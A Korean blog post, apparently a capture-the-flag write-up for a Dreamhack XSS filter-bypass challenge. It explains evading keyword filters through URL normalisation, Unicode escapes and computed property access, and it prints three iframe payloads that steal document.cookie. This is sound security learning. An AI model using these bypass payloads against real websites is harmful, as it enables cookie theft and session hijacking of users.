XSS Filtering Bypass Advanced

2024. 5. 25. 00:36웹 해킹/Dreamhack Wargame

XSS 취약점을 활용해 FLAG를 획득하는 문제

 

Code

이번에는 filter되는 텍스트가 다음과 같다. “script”, “on”, “javascript”, “window”, “self”, “this”, “document”

, “location”, “(”, “)”, “&#”

XSS 실행을 위해 필요한 텍스트들이 거의 다 필터링 되어있어 XSS를 하기 위해 텍스트를 변형해야 한다.

<script>태그나 on속성은 텍스트 변형 시 스크립트가 정상적으로 작동하지 않는다.

따라서 변형되도 스크립트가 작동하는 <iframe>이나 <svg>와 같은 태그를 사용해야 한다.

스크립트를 변형하는 방법은 여러가지가 있다.

  • URL normalization
    • URL을 통일된 형태로 변형하는 과정, 해당 과정에서 \t, \x01, \x04가 삭제된다
    • Ex) loca tion.href ⇒ location.href
  • Unicode Escape Sequence
    • 유니코드 문자를 코드로 나타낼 수 있는 표기법
    • Ex) locatio\u006e ⇒ location
  • Computed Member Access
    • 객체의 속성에 접근할 때 속성 이름을 계산해주는 기능Ex) parent[”docu”+”ment”][”coo”+”kie”] ⇒ parent.document.cookie
      • window.parent.document.cookie
    • Ex) document[”coo”+”kie”] ⇒ document.cookie

XSS를 발생시키는 태그 구문은

<iframe src=”javascript:location.href=’/memo?memo=’+document.cookie”>

위의 방법으로 스크립트를 변형한다면

  1. <iframe src="javas cript:locatio n.href='/memo?memo='+docu ment.cookie">
  2. <iframe src="javas cript:locatio\u006e.href='/memo?memo='+\u0064ocument.cookie">
  3. <iframe src="javas cript:parent['doc'+'ument']['locatio'+'n'].href='/memo?memo='+parent['doc'+'ument'].cookie">

세가지 방법이 존재한다.

 

FLAG

 

'웹 해킹 > Dreamhack Wargame' 카테고리의 다른 글

sql injection bypass WAF  (0) 2024.05.26
simple_sqli_chatgpt  (0) 2024.05.26
XSS Filtering Bypass  (0) 2024.05.25
XSS-2  (0) 2024.05.25
XSS-1  (0) 2024.05.25